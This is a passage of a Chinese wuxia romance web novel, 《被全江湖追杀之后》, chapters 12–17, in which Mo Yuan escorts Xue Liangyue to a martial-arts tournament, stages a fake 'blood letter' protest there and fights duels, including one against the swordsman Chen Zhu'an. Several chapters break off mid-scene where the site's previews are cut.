只见那少年皱了皱眉,缓缓伸出双指,夹住了横劈过来的刀锋。 ……夹住了? 林况张大了嘴。 那刀背一寸厚,刀身三尺长,重量绝对有几十斤,此刻却被那少年用两根手指轻易挟住,一动也不能动。 大汉满脸惊骇,酒都被吓醒了一半。 少年的双眼黑白 12. 奉雪 《被全江湖追杀之后》全本免费阅读 “锵——” 斗酒少年收剑归鞘,一言不发,转身离去。 莫远拉下布条,隔着人堆看见了那眼熟的白衣斗笠,忽然联想到了一朵巨大的白蘑菇,然后被自己这个想像逗乐了,遂弯腰捂着肚子笑起来。 薛凉月看着他,只觉莫名其妙,心想这人有病吧? 笑罢,莫远晃晃悠悠走到薛凉月身畔,“你干什么下来了?” “大侠。”薛凉月柔声道,“我料想您去楼下借个药炉,应当不需要整整一个时辰。” 莫远挑眉,凑近他耳畔,“怎么着?想我了?” “……”薛凉月微微后仰,皮笑肉不笑,“莫兄多虑了,不过是担心你去武林盟,拿我的人头换悬赏去了。” 莫远又露出伤心欲绝的表情,“阿月,为夫若是在乎悬赏,何不直接将你人头取下,放在皮袋里岂不是更易于携带?” 薛凉月缓缓道:“或许是……路上一个人看星星太无聊?” “……有道理。”莫远伸手指向北方一座八角楼,扭头朝薛凉月阴恻恻笑道:“看来薛门主对武林盟总署神往已久,为夫马上带你去瞧瞧。” 薛凉月自然敬谢不敏。 林况等人在后头看了半天,虽然听不见他们在说什么,但被这二人之间奇怪的气氛搞得一头雾水,终于忍不住问出了声,“呃,莫兄,这位是?” 莫远转头答道:“我夫人。” “哦……啊?!” 林况看着那位“夫人”,呆立两秒,“嫂子……嫂子呃,身形甚……” 莫远打断他的话:“他是男人。” 林况:“……” 林况不懂,林况大为震惊。 秋长枫盯着薛凉月,在后头跟萧鹭嘀嘀咕咕:“你觉得他有没有点像那个……” 萧鹭点点头,皱眉:“身形几乎一模一样。” 正当他们打算凑近一探究竟,肩膀却忽然被人按住,两人均是一愣,齐刷刷回头望去。看待清来人,两人顿时眼眸圆睁,脱口惊呼:“师父!?” 来人一袭白色道袍,丹凤眼,长相俊秀,神色却格外冷淡,眉宇间一股霜雪之色。 此人正是松风下二代弟子之首,清玄老祖座下大弟子林过,道号奉雪。 林奉雪皱着眉头,轻声叱道:“你们俩在干嘛呢?谁准你们来酒坊的?!” 萧鹭立马一指林况:“师父明鉴,我们俩是来寻小师叔的!” 闻言,林奉雪抬眸看向林况,神色更冷了,林况一看见他,顿时顾不得大为震惊了,慌忙闪到薛莫二人身后,满脸惊恐,口里叫道:“莫兄救我!” 林奉雪目光移到莫远脸上,微微一愣,“你是……” 莫远抱拳笑道:“林道长,久违了。” 林况上下打量他一番,眼中闪过几分惊艳,随后他抱拳回礼,缓声道:“莫六侠,几年不见,你居然已经迈过了那道“圣”的门槛,当真是剑道奇才。” 莫远微微一笑:“过奖。” 他朝斗酒少年放下离开的方向抬了抬下巴,“刚刚入门罢了,离真正的‘剑圣’还远着呢。” 林奉雪立刻了然,双眸一沉:“刚刚陈阁主来过?” 莫远微微颔首。 “这次武林大会真是卧虎藏龙……”林奉雪微微一叹,他抬眸瞥一眼莫远,“莫六,你真不考虑来我们松风下吗?” 顿了顿,他又补充了一句,“挂名长老不必守六戒。” “不必了,在下一个人闲云野鹤惯了,不喜欢挂在什么门派下头。”莫远语气不咸不淡回绝。 他微微一笑,眼里闪过一丝若有似无的讽刺,“林道长这些年倒是很为松风下着想,不过在下还是更欣赏二十年前的那个林过。” 闻言,林奉雪脸色顿时阴沉下来。 林况和秋萧二人面面相觑,大气也不敢出。 定定地看了莫远片刻,林奉雪移开目光,冷声对松风下三人道:“走吧,其他人等着了。” 林奉雪从莫远身畔经过,却听那布衣剑客突然出声,语调很平静:“楚秀在归雪楼,这次恐怕也来了龙首山。” 林奉雪闻言脸色愈加阴沉,他微微攥紧了拳头,“不劳莫兄提醒。” 听到“楚秀”两个字,林况瞪大了双眼,从莫远身后窜出来,一路小跑,跟上林奉雪步伐,“喂喂喂,师兄!你认识秀秀姑娘?!欸,怎么不早说!” 林奉雪更加心梗,一把拎起师弟的耳朵,怒气冲冲:“早说?干什么?!给你们牵线搭桥吗?你要是把追姑娘的心思放半分在练功上……” 一行人吵吵嚷嚷地离去。 “……” “卡嚓。” 薛凉月站在莫远身侧,手捧一袋五香瓜子,嗑得津津有味,自林奉雪现身开始,毕毕剥剥声就不绝于耳。 莫远回头瞥他一眼,“……在哪买的?” 薛凉月弯了弯眼角,嘿嘿一笑:“客栈楼下。” 莫远追问:“钱从哪来的?” 薛凉月:“……” 莫远出手如电,在薛凉月厚厚的狐裘内侧一摸,勾出两颗碎银子,抬眸挑眉笑道:“薛门主好手法,那钱袋经你手不过半刻钟,就被揩走了一半。” 薛凉月立刻眼眶微红,泫然欲泣,“夫君,你不讲理,且不说寻常人家都是做妻的管账……哪怕是丈夫,也总该有些私房钱以备不时之需。” 闻言,莫远伸手入袖中,抠抠搜搜摸出三个铜板,郑重放进他手心里,道:“喏,拿去,私房钱。” “……”薛凉月面无表情将铜板塞回他手里,柔声道:“莫兄,这笔巨款您还是自个儿留着吧。” 他嗑着瓜子朝客栈方向走去,留下一个冷漠的背影,莫远挑了挑眉,追了上去,笑吟吟道:“哟,生气啦?” 薛凉月别过头,呸一声吐出瓜子壳,并不理他。 莫远凑近薛凉月耳朵,下巴懒洋洋靠在他肩头,笑着低语道:“娘子,你生气真好看,以后多生点,为夫爱看。” 薛凉月:“……” 且不说隔着斗笠能看出什么,就冲这令人毛骨悚然的话……薛凉月确定了,此人不但是个疯子,还是个变态。 该死的大变态。薛凉月在心里忍不住又狠狠骂了一遍。 -- 林况承受着大师兄的无名之火,一路被拎着耳朵,踮着脚走到了松风下众人包下的客栈,引得路人纷纷侧目,颜面扫地,自不必提。 待到客栈,仍不死心:“师兄,不必你做媒人,能不能把秀秀姑娘约出来与我见一面,一面就好!就当让师弟当面谢过救命之恩!” “闭嘴!”林奉雪看着他就来气,“去房里把六戒抄一千遍!” “那抄完了,秀……” “秀你大爷秀!滚去房间!” “……” 旁观了整个过程的秋长枫啧啧称奇,她扭过头,朝萧鹭道:“小师叔真乃奇才,师尊这么清冷淡定的人居然能被他气得爆粗口。话说那‘秀秀姑娘’是什么人啊?小师叔看起来好喜欢她。” 萧鹭瞥她一眼,摇了摇扇子,“就是归雪楼楚秀,是男是女还不知道呢。” “那小师叔为什么一口咬定她是女子呢?”秋长枫纳闷。 萧鹭道:“那就小孩没娘,说来话长了,那件事发生在五年前,北庭枫桥镇不远处的荒野……” -- 那晚下了很大的雪,林况正走在离家出走的路上,他身上没有带多少钱,又饿又冷,又累又困。这时道旁忽然出现了一个老旧的小客栈,昏黄灯火隔着窗纸传出来。 这地方前不着村后不着店,了无人烟,客栈开在这种地方,一看就有猫腻,是个混江湖的都知道。 然林况身为松风下掌门清玄老祖的独子,从小无人敢对他动手,故而,纵使他武功平庸,亦未曾遭遇江湖中的险恶纷争,更无防备他人之心。 他高高兴兴的走了进去。 客栈里头只坐着一个老头,叼着烟斗,见林况入内,那双发黄的眼珠子转了转,把他上上下下打量了一番。 林况搓手跺脚,嘿嘿笑道:“老人家,我要住店,多少钱?” 老头将嘴里的烟斗拿下,嗓子里似乎有痰,声音浑浊不清,“ 13. 寂夜 《被全江湖追杀之后》全本免费阅读 金乌西沉,暮色将至。 阴暗的小巷中,一只野猫怪叫一声,从墙头轻巧地窜了过去,铁锈一般的腥味在巷子中一点点蔓延开来。 楚秀将剑从男人的尸体上拔出来,轻轻一甩将剑上的血珠甩干净,收剑回鞘。他低头自襟中取出一张纸,在第二个名字上画上一个鲜红鲜红的叉。 缓缓出了一口气,楚秀将那张纸收回怀中,处理好自己的痕迹,然后摘下面罩,缓步走出小巷。 黑衣少年眉细而弯,眼角微微下垂,五官精致,唇红齿白,难怪林况会在夜色中将他错认为是女子,楚秀人如其名,长得的确很清秀,光看脸难辨雌雄。 他走进一家挂着花灯的青楼,抱剑站在一根柱子旁,冷眼看着台上莺歌燕舞,一柱香后,一个蓝衫的浓妆“女子”从二楼栏杆边飘身落下,停在楚秀身边。 淞花挑眉看他,问:“你刚刚去哪了?” 楚秀冷冷道:“解手。” 这时,一个同样穿着黑衣的蒙面人从一边走上来,沉声汇报道:“长老,血衣门的东西到了,在城外的地牢里。” 淞花笑眯眯望向楚秀:“去看看吗?” 楚秀微一点头,表情却一点都不感兴趣,淞花却浑不在意,伸手挽过他的胳膊,甜腻腻笑起来,“哎呀,楚大少爷好不容易愿意在人家身边待一刻钟,得好好珍惜……”说着抬头朝那黑衣属下吩咐道:“带路!” 楚秀后背微微一僵,偏过头去,神色间闪过一抹厌恶。 他挣了两下然挣脱不开,只好任由淞花拉着自己的胳膊,朝门外走去。 · 是夜。 薛凉月坐在小桌边,微阖着双眼,看上去只是在闭目养神。 然而在肉眼看不到的地方,一股极其幽微的胎息在丹田之中流转,渐渐流入奇经八脉之中,经脉以肉眼可见的速度重塑着,甚至比之前拓宽了三倍不止。 小天圆术,破而后立,周而复始,圆润通达。 窗边传来一声很轻的“嗒”。 薛凉月睁开双眼,回过头去,只见莫远翻窗而入,手上提着一个小药炉,薛凉月轻叹一声,问:“大侠,你有病吗?有门为什么要爬窗户?” “因为帅。”莫远走到他面前,“会煎药吗?我不会。” 薛凉月只好懒洋洋地坐直了,伸手打开纸包,开始挑挑拣拣药材。 莫远坐在薛凉月对面,托腮看着他,忽然问:“你脸色怎么这么差?一点血色没有呢?” 薛凉月轻咳两声,掀起眼皮,瞥他一眼:“莫兄,我是个病人,你指望一个病人能有多好的脸色呢?” 莫远:“你白天还活蹦乱跳的。” 薛凉月对莫远的形容颇有微辞,“我怎么活蹦乱跳了?” 莫远挑眉:“你还下楼了。” “原来一个长了两条腿的活人能走路叫‘活蹦乱跳’。”薛凉月点点头,微笑,“莫兄,是在下见识浅薄,受教了。” “总之比晚上好。”莫远冷不丁伸出手,握住薛凉月左手,甫一挨上,便蹙起了眉,抬眸看向薛凉月,“你手好冰。薛门主,你身上……一直这么凉吗?” 莫远瞳色很浅,此刻,那双鸢色的凤眸里充满了以假乱真的担忧。 薛凉月垂下睫毛,将手抽回来,把药材归拢到瓦罐中,懒洋洋答道:“是啊,天生体寒,不然为什么喝药呢?是我爱喝吗?” 火折子点上炭火,药炉放在角落里,清苦的味道在屋中一点点弥漫开来。 莫远站起来,从怀中掏出一沓白纸,摊开放在薛凉月面前,又掏出毛笔和朱砂,一并放在桌上,薛凉月不明白他要干嘛,投去一个疑惑的眼神。 莫远神色极为认真:“你不是要申冤吗?写血书,至少一千字,明天趁着武林众人场前寒暄之时,你偷偷跑上论剑楼顶,把这个呼啦撒下去,然后一跃而下,当然你放心,我会接着你的。” “……” 薛凉月缓缓吐出一个字:“……啊?” 莫远:“赶紧的。” 薛凉月沉默片刻,诚恳问道:“莫远,你是不是有一种喜欢在大庭广众之下丢人现眼的癖好?” 莫远眯起眼,神色不愉。 “抱歉。”薛凉月柔声道,“然而在下并没有,恕难从命。” 莫远走到他身后,俯身拿住薛凉月的手腕,把他的手按到桌子上,再把笔塞到他手里,笑吟吟道:“写,不然别睡觉了,我在这看着你。” 薛凉月:“……” 夜半三更,薛凉月终于完成了那所谓的“血书”,一半借窦娥冤,一半靠车轱辘话来回扯淡,此刻头晕目眩,他活动了一下胳膊,一回头,发现说好看着自己的莫远已经靠在床头睡着了。 薛凉月站起来,走到床边,垂下睫毛盯着他看了好一会儿,忽地俯身伸出手,修长的手指一点点……一点点靠近睡梦中那人的脖颈。当他的手距离莫远侧脸还有半寸时,莫远睫毛一颤,猛地睁开双眼,下意识去摸枕边的剑。 薛凉月手微微一顿,旋即轻轻帮他他把鬓发拨到耳后,弯起眼角,“写完了,莫大侠睡得可好?” 莫远看着他,慢慢松了剑柄,抬手捉住薛凉月手腕,贴在脸侧,笑眯眯道:“睡得当然不错,做了个好梦。” 薛凉月:“什么梦?” 莫远含笑不答,放开他的手,伸了个懒腰站起身,走到角落,戳了戳那个已经熄灭的药炉,“可以了吧?” 薛凉月手指微蜷,仿佛下意识想留住那点温度,须臾又放开了,闻言抬眸看去,他心想整整三个时辰,药力早没了,于是没好气道:“不知道。” 莫远从里面倒出一碗黑乎乎的液体,连药渣也没过滤,就直接递给他,“喝了。” 薛凉月:“……” 莫远强调:“这些都是银子呐!” 薛凉月面无表情,后退了一步,“为了不浪费金钱,我建议你自己喝掉。” 莫远闻言,眯眼笑了,居然居然真的一口干了,然而下一秒,他便欺身上来,扣住薛凉月下巴,凑近将药液“度”了过来,薛凉月下意识后仰,结果发现退无可退 14. 鸣冤 《被全江湖追杀之后》全本免费阅读 莫远眨了眨眼,目光从那一片嫣红移开,再次望向薛凉月的脸,他惊异地注意到,那原本苍白的脸颊上,此刻竟泛起了三分淡淡的血色,像是死人突然活了,于是眯眼笑了起来。 薛凉月咬了咬牙,偏过头,朝着墙壁闷咳两声,撑在床板上的手指骨节泛白。 莫远翻身下床,从凳子上取下狐裘扔到薛凉月头上,薛凉月浑身微微一颤,皱眉看向莫远。 “少爷,赶紧下来罢。” 莫远笑吟吟俯下身,单腿跪在床上,伸手帮他把领子扣好,掀起眼皮,懒洋洋笑了笑,拍了拍薛凉月侧颊,“别忘了,咱们可是要申冤去的。” -- 辰时,五刻。 论剑楼下,人山人海。 此地平阔,地势却极高,远望可见群峰立于云中,而极天,旭日初升,金红色在云层中交错,晕染成水似的画。 比武场已经布置好了。 圆形,约五丈宽,中心一个阴阳鱼。据说,昔日龙首山上曾有座道观,前朝之时香火极为鼎盛,然如今已难觅其旧迹。龙首山也被江湖人占领,成了比武论剑之所。 北面正是论剑楼,形似剑鞘,直指青天。 五义堂照例只来了一个医仙沐流熙,背一个药篓子,白衣,长发被一根木簪草草绾着,看起来格外贫寒,一个人站在北面,论剑楼正下方。 依旧是照例,在他的正对面,是血衣门屠月宗,以及只来了一个人的吞日机关城。在沐流熙右手边,则是六合剑派,归雪楼,以及看起来很颓废的武林盟。 以及左手边,松风下,白云寺,惊雷堂等一系列传承久远的名门正派。 隐隐之间,阵营已然分明。其余小门小派的,独行江湖的,全挤在这些大门大派们的缝隙间,满满当当,打眼儿望去,人头攒动,好不热闹。 以往林卷海还在的时候,武林大会向来由五义堂,武林盟共同主持,如今武林盟没了主心骨,濒临解散,这主持的事情只好落到了听剑阁和五义堂的头上。 然而听剑阁阁主——天下第一剑陈竹暗据说是个武痴,根本不问俗务,再加之他本人也是五义堂的一员,所以本质上还是五义堂,也就是沐流熙一个人主持。 沐流熙面上不动如山,内心很崩溃。 他只是一个文弱的医生啊!为什么每年都要来这么粗鲁的地方,声嘶力竭地管住这些动辄打杀的江湖人啊? 然而,很不幸,五义堂除他之外,真的就没有人了,盗圣很忙,侠魁是个剑痴,商宗满身铜臭,匪首……陆问那个小傻子,不提也罢。 比武马上开始,满场仍然喧哗,叽叽喳喳叽叽,每个人都在扯着嗓子谈论这几年江湖中的奇闻异事,其中以“赤血剑颜容”最为热烈。 没错,“颜老板”都有江湖诨名了! 沐流熙缓缓抬起头,深吸一口气,正打算照例气沉丹田,用尽自己全身的力气大吼一声“江湖朋友们~~~” 忽然,一张血红血红的大纸从天而降,正好盖住了沐医仙的脸。 沐医仙:“……” 沐医仙整个人蒙了,那口沉到丹田里的气脱口而出,化为了一句惊天动地的—— “我艹他妈的什么玩意!” 一瞬间,全场安静,无数双眼睛看向论剑楼的方向。 半晌,屠月宗宗主齐衡轩带头鼓起了掌,朗声赞道:“沐先生不愧为医仙,开场白果然很江湖。如此性情中人,真乃吾辈楷模!” 接着,陆陆续续开始有人跟着鼓掌,跟着呵呵呵呵地笑,与尴尬到脚趾抠地的沐流熙面面相觑。 恰这时,一阵风起,铺天盖地的红纸血书滚滚而来,飘满了整个比武场! 一个白色的人影从论剑楼顶楼缓步走出,一跃而下! 沐流熙看到这一幕,终于忍不住了,两眼一翻,顺利地“昏”了过去。 …… 【没来由犯王法,不堤防遭刑宪,叫声屈动地惊天……怎不将天地也生埋怨?】 【……武林盟凭空武断,草菅人命!我颜容一生光明磊落,扫地不伤蝼蚁命,爱惜飞蛾纱罩灯,林某人之死与我实在无关……】 【冤枉啊!】 【……噫,为今之计,只有以死证清白——苍天无眼,我颜容做鬼也不会放过武林盟的!】 在下落到离地面还有一丈远的时候,莫远如约出现,伸手揽住了薛凉月。 “血书”纷纷扬扬,已经有人从地上捡了起来,开始阅读。 薛凉月回想起血书中的内容,人都麻了。 “闭上眼,别说话,装晕,听话。” 莫远抱着薛凉月,缓缓落在比武场的正中央,偏头在他耳边轻声说了一句话,语气中带着人来疯特有的兴奋。 他在比武场上站定,妖异的狭长双眸悠然扫过四周的人。 一时间没有人说话。 沐医仙抱着药篓子躺在论剑楼下装死。 这时候,半空中突然传来一声暴喝。 “谁在武林大会上闹事?!” 声音粗犷,传遍会场,犹如平地一声惊雷。 薛凉月下意识睁开了眼。 只见一把大刀迎面劈来,刀背极厚,刀身玄黑,持刀人上半身赤裸,肌肉虬结,看上去十分有力。 薛凉月的正面,就是莫远的背面。 莫远一动没动,反手抽出背后长剑,朝着来人的方向轻轻一挥。 “铮——” 刀剑相撞,大汉直接倒飞了出去,足足飞了五六丈远,好巧不巧正好砸在了沐医仙身上! 沐连毓直接诈尸,“啊”的一声连滚带爬地蹦了起来,动作迅疾,行云流水,生龙活虎。 江湖众好汉:目瞪口呆。 那个大汉他们认识,叫宣锵,名属听剑阁,“听剑五太保”之一,被陈阁主派来专门维持秩序的,可见其武功高深。 结果,被这个……这个不知道是谁的人,一剑扇飞了?! 薛凉月重新闭上双眼,在莫远耳畔低声道:“没必要这么浪费内力吧,后来会很吃亏的。” 莫远语气很坚定:“输人不输阵,开场要帅。” 薛凉月:“……行,我没意见。” 众人的目光一半聚集在这突然冒出来的俩人身上,一半则聚集在“死而复生”的沐医 15. 比武 《被全江湖追杀之后》全本免费阅读 中原武林,数千年来,盖凡成名者,必能追源溯流也,譬如陈阁主为前日月教分坛坛主杜孟白之徒,盗圣出身绛云书院,霜雪剑林过师承清玄老祖。 无论如何惊世奇才,哪怕今后成了开山宗师,至少在最开始,总会有一个引其入门的前辈,这便是“传承”。人们可以从他的武功路数,推测出他师承何处。 然而莫六,他是一个完全找不到出处的人,身世不详,真名不详,师承不详,就那样突兀地跳入江湖水之中,一石激起千层浪。 十五年前,鹤羽山。 一年轻人青衫负剑,蒙蒙细雨中一剑破江湖。 剑招怪异,内功杂糅。除了身法略似邀雪莫愁女,没有任何端倪。 他自称“莫六”,从西蜀到北庭,一路下战帖,除了陈剑圣当时在蓬莱,松风下清玄在闭关,血衣门上任师无夜以不善刀兵为由避战之外,其余应战的人,在他手里没有一个走过百招。 那时候,江湖中人都认为他能成第二个“圣”境的剑客。 谁知不过一年,一个惨痛消息便如同长了翅膀一般飞遍了整个江湖——莫大侠在秃笔翁重创屠月宗宗主,又被其打落山下一命呜呼。 这人来也匆匆去也匆匆,戛然而止,在江湖上留下极其浓墨重彩的一笔,很难不让人唏嘘至今。 结果……他没死?! 一时间,在场众人神色各异。 莫远再次看向场边,这次他没有再掩饰,而是直接看向了武林盟的方向,轻笑一声:“武林盟的各位,不如我们打个赌?” “如果今天,有人能打赢我,那我媳妇任诸位处置。”莫远指间随意玩着薛凉月的发丝,目光却锐利,“如果都输了,那就给我把悬赏撤了,除非你们能拿出确凿证据。如何?” 武林盟众人脸色变得很难看,莫远这番话已经退了一万步了,首先他没有限定人数,第二,他也没有叫武林盟直接把悬赏撤了,只是叫他们拿出证据,如果这都不答应,那就坐实了这件事有猫腻,今后武林盟在江湖上将再无半分颜面。 于是武林盟现存的话事人,副盟主只好咬咬牙,一口应下来,“好!” “好。”莫远伸手掐了薛凉月的腰一把,低声道,“醒醒。” 薛凉月睁开眼,便听莫远道:“你自己找个地方待着,我要打架了。” 薛凉月叹了口气,站直了身体,理了理袖子和领口,环顾一周,最终晃悠悠地走到论剑楼下,在沐流熙旁边站定。 这个地方看起来最安全,他偏过头,拱了拱手,十分礼貌地打了个招呼,“沐先生,久仰了。” 沐流熙尴尬笑笑,抱拳回礼:“哈哈,颜公子,久仰久仰。” 薛凉月放下手,目光转向比武场正中央,若有所思,“你说莫大侠能赢吗?” “难说。”沐流熙轻轻摇摇头,“颜公子呢?你跟在莫六身边这么久,想必对他的实力更加清楚。” 薛凉月一哂:“我一个商人,懂什么武功?” 那边,莫远站在比武场正中央,一时间并没有人首先站出来,而是把目光纷纷投向屠月宗,齐衡轩高深莫测地捋了捋自己的长须,屁股坐得不动如山。 终于有人坐不住了:“那个,齐宗主……” “叫我吗?”齐衡轩连忙摆了摆手,神色非常严肃,“老朽不行了,十五年前莫兄弟与我不分伯仲,如今我远不如他。诸位还是另请高明吧。” “我来罢。” 一声带着叹息语调的声音从某处高座传来,众人循声望去,只见白云寺那方雅座上,一个面貌很年轻的和尚站了起来,身披如雪袈裟,手指轻捻佛珠,双眸半垂,眼含悲悯。 “净度大师!” 有人惊喜地叫起来。 此人正是白云寺住持净度,虽然面貌不到三十,但如今实已年过五旬,实打实的前辈高人。 净度轻飘飘地落在比武场上,缓缓抬起头,看向面前的剑客,沉声道:“十五年前,你来白云寺下战帖,那天贫僧败了,败得很彻底。” 莫远微微挑了挑眉。 “这十五年来,贫僧一直在想,该怎么破你当年的那些招。” 净度声音平稳,没有一点当众自揭败绩的尴尬,“五年前,贫僧破了你当年第三剑,后面却还没来得及破出来。今日大抵也是要输的,但多年来只怕心有不甘,化为心魔,因此总要来讨教一二的。” 莫远挽了个剑花,将梅影剑握于掌心,抱拳沉声道:“请赐教。” 净度一手捻佛珠,一手缓缓举起,“第一招,观音渡海。” 话音刚落,他便将手掌推出,气势如虹,一瞬间笼罩了莫远周身,莫远勾唇浅笑,身形一晃,瞬间出现在净度左侧,手中长剑直指净度侧腰,吊儿郎当笑道:“大师,依旧是当年那一剑!” 净度一侧身,左手佛珠挡住剑尖,右手化掌为拳,“这一招,少林长拳!” 莫远不接这一拳,剑尖一抖,瞬间换招,净度收拳后退,手上佛珠崩断,屈指弹向莫远,莫远伸手一抚,将佛珠尽数拢于袖中,旋即反手借力将其射了回去。 “罗汉金身!” 净度低喝一声,双手合十,垂首阖眸,身上肌肉绷紧,那力道刚猛的佛珠打在他身上,竟然没有一点作用。 两人来来回回过招,众人只见得一青一白两个身影来回晃动,眼花缭乱,几乎看不清动作,不少人手心出汗,心中自忖,若自己在净度大师或是莫六的位置上,是否能在对面手上走过两招。 薛凉月望了望天色,偏过头,问正看得起劲的沐医仙,“有伞吗?” “啊?”沐流熙一愣,“要伞做什么?” 薛凉月指了指天上,悠然道:“你们日子选得不好,要下雨了。” 沐流熙看看天色,只见方才万里无云的天空此时的确飘来了几朵乌云,风也明显变大了些许。 薛凉月拢了拢狐裘,叹息道:“你们这些身强体壮的江湖人淋两滴雨不算什么,在下身子可遭不住。” 沐流熙只好唤来一边的药童,吩咐他去帮颜公子拿把伞,可显然上山的人都没带伞,只得下山去买,希望这雨不要在一个小时内落下来。 16. 剑圣 《被全江湖追杀之后》全本免费阅读 剑圣。 这个名字从四十年前开始,就只有一个含义了。 那就是天下第一剑,陈竹暗。 前日月教某坛主名杜孟白,号“酒剑仙”,自问鼎天下第一后,就归隐山林,晚年收了一个徒弟,就是陈竹暗。 杜孟白去世那年,陈竹暗十六岁,受剑下山,承师命游历红尘,一年后,立剑心,此后外貌就没变过了。 又三年,渡“圣”境。 而后四十年来,无人能出其右。 血衣门副门主赵汩站起身,拱手,样子十分恭敬,“浮烟君,有失远迎。” 陈竹暗歪了歪头,语气里不带一点情绪,“我的地盘,你要迎什么?” 赵汩的笑容僵在脸上,半晌,他略带尴尬地坐下了。 陈竹暗转向陆问,面无表情地又重复了一遍他的话,“回去,你不行的。” “呃……那个,三哥,这还没开打呢,你怎么就知道……”陆问神情有些受挫,挠了挠头,不服气道。 陈竹暗瞥他一眼,语调淡淡:“你枪法刚劲有余,灵转不足,破绽太多,跟他过招,撑不过十招。若想练枪,你去找季无松比较合适,他最近在枫桥。” “堂主也回来了?!” 陆问顿时来劲了,长枪往背后一插,双眼发亮,“我还没见过他呢。季堂主他人好说话不?!” 陈竹暗脸上显露出少许不耐烦:“比我好说话——还不走?” “哎,是!” 陆问闭上了嘴,挠了挠头,提着枪又蹦回去了。 陈竹暗把视线投向莫远。 莫远上下打量了一下陈阁主,唇角轻轻勾起,拱一拱手,不动声色道:“昨日在酒馆中,不知前辈身份,有失礼数。” 陈竹暗提起酒壶,仰头灌了一口,微微皱眉,“我不懂你在说什么。” 莫远淡然一笑,未置一词。 远处的薛凉月悄悄把头转了回来,观察着两人。 陈竹暗又喝了一口酒,双眼中却不见一点醉意。 这个人,完全是把酒当水喝。 他喝完这口酒,低下头,将酒壶塞好,系在腰间,再抬起头,“打吧,只比三招。三招之后,你还站着就算赢。” 直白,不留一丝余地。 陆问已经算是够直的了,他好歹还晓得说两句开场白呢! 莫远轻叹一声,这可不在他的计划之内啊。 陈竹暗微微垂首倾身,伸手探向背后,缓缓把那把古朴的剑抽了出来。 莫远神色微凛,握剑的手紧了紧。 没有哪个剑客能在这把剑面前无动于衷。 那是天下第一剑——浮云怆影。 相传,古时铸剑大师欧阳无过一日正在焠剑,心有所感,抬头,见浮云缓行,忽心生悲怆,难以自抑,自觉韶华虚度一梦平生。 痴然许久,低头,剑成,光如雪,遂名曰——浮云怆影。 欧阳无过一生碌碌,鲜有佳作,可是仅凭着一把浮云怆影,叫人唏嘘至今。 莫远想了想,从怀中摸出一根破旧的黑色布条,在双眼上仔仔细细绕了几圈,扎紧,抬头“看”向对面。 视野被黑暗笼罩,耳边的声音变得清晰,真实。 果然他还是习惯这种感觉,眼睛看到的,都会让他有一种如坠梦中的错觉。 陈竹暗眉毛轻轻一挑。 而场下的众人再一次炸开了锅。 “这个人什么意思?蒙眼打,是看不起陈阁主吗?” “……哗众取宠,为接下来的失败找借口罢了!” “就是就是!” “肃静!” 一个苍老的声音自比武场东侧传来,声音却响若洪钟,一下子将叽叽喳喳的叫嚣声压了下去。 一直闭着眼睛盘腿坐在蒲团上的的白云寺太上长老净海,睁开了眼睛。 净海脑袋缓缓转向了莫远的方向,不得不说,这位老禅师面相是说不上慈悲的,双目深陷,鹰钩鼻,薄唇,看上去倒有几分无情无义。 他定定看了莫远良久,吐出两个字,“盲剑。” 复又闭上了眼,不再说话。 莫远眉心蹙起,不知道净度是几个意思。 “你认识燕无渡吗?” 陈竹暗忽然开口,声音极低。 莫远知道他是不希望其他人听到,于是以同样低的声音回了一句,“不认识。” 黑云压顶,大风摧折。 陈竹暗沉默了,他轻轻一点头,示意开始。 下一秒,他一甩长剑,足尖轻点,跃向半空,身姿轻盈,如银鱼出海。 手中长剑在半空中划出一道行云流水的曲线。 “接好——第一招!” 陈竹暗手中长剑抬起,直指莫远中宫,剑意如虹,悍猛中却又带着一丝飘逸灵动。 这一招叫做“下窥指高鸟”,出自前人登高所做的一首诗。 莫远动了,他脚步一动,微微仰起头,剑尖随之抬起,在半空中划了一个圆,接着,又是一个圆,大圆套小圆,一层接一层,无懈可击。 陈竹暗的身影顿了片刻,剑光也一凝,他嘴角轻轻上扬,赞道:“好破法!” 下一秒,他的身影一闪,竟然瞬间出现在了莫远侧面。 “小心!”场外有人一声惊呼,下意识叫出了声。 莫远脚步一动,千分之一秒间后退几步,提剑回挡。 然后下一刻陈竹暗手中浮云怆影轻轻一抖,似乎突然变成了无数把,又互相纠缠在一起。 而他的身影同剑风一起移动,时隐时现,却怎么也摸不到他的衣角,怅然若失。 这一招叫做“行行重行行”。 行行重行行,与君生别离。 相去万余里,各在天一涯。 回环往复,愁思如缕,牵肠挂肚,不可断绝。 这也是陈竹暗的成名之剑。 莫远横剑于胸前,咬了咬牙,脚后跟不由自主地一退,再退……眼看就要退到比武场的边缘,他要掉下去,就是输了。 这时候全场所有人都心都不禁悬了起来,目不转睛地盯着场中两人。 忽然,莫远眸光一凛,脚步顿住,手中长剑划过一道极长的圆弧,顿时势如破竹,所过之处,“行行重行行”留下的剑光轰然破碎! “锵——” 两剑相撞,发出震耳欲聋的声音,下一刻,比武场的地面上出现龟裂的纹路。 两人各退一步。 陈竹暗双眸中出现一丝奇异的亮光,让他整个人真的有了一种少年人 17. 凶兆 《被全江湖追杀之后》全本免费阅读 17 “……好厉害。” 薛凉月鼓了鼓掌,“所以夫君,我们可以找地方躲雨了吗?” 莫远矜持地点了点头,“批准。” 然后目光灼灼地瞥向一边的沐流熙,“沐医仙,这山上有客房吗?” 那目光中有两层含义:一,我们这么惨,都是武林盟害的,所以你们江湖人是不是应该补偿一下。二,我可是你们陈阁主认可过的人,不会这点面子都不给吧?不会吧不会吧? “……有。” 沐流熙万般无奈地答应下来。 莫远又问:“这次应该没有什么刺客了吧?我夫人胆子可小了,一吓就会生病,到时候还得我哄。” 沐流熙:“……放心,在龙首山,不会有人敢动手的。” 一柱香后,沐流熙看着那对狗男男离去的背影,长长呼出一口气。 送走了两位瘟神,武林大会终于能正常开下去了,这是多么不容易的一件事啊! 虽然下雨,但众好汉热情不减,松风下那个女弟子率先跳出来,应战的居然是个名不见经传的小门派弟子,叫澹台曙的。 两名小辈交手,顿时缓和了刚刚紧张的气氛,看台上各高手终于又能笑呵呵地指点江山了,好不快活! 最终,那澹台曙以半招之差败在秋长枫剑下,然虽败犹荣。 因为秋长枫不仅是十几年前名动江湖的霜雪剑林奉雪的弟子,还是六合剑派掌门的独女,据说还受过陈阁主的指导,年轻一辈中罕有敌手。澹台曙刚下比武场,立刻就有好几个门派递来了橄榄枝。 这时候,之前派出去买伞的药童冒着雨急匆匆地跑回来了,怀里抱着一把油纸伞。 沐流熙笑道:“阿六,你来晚了,那位娇气的公子已经走了。” 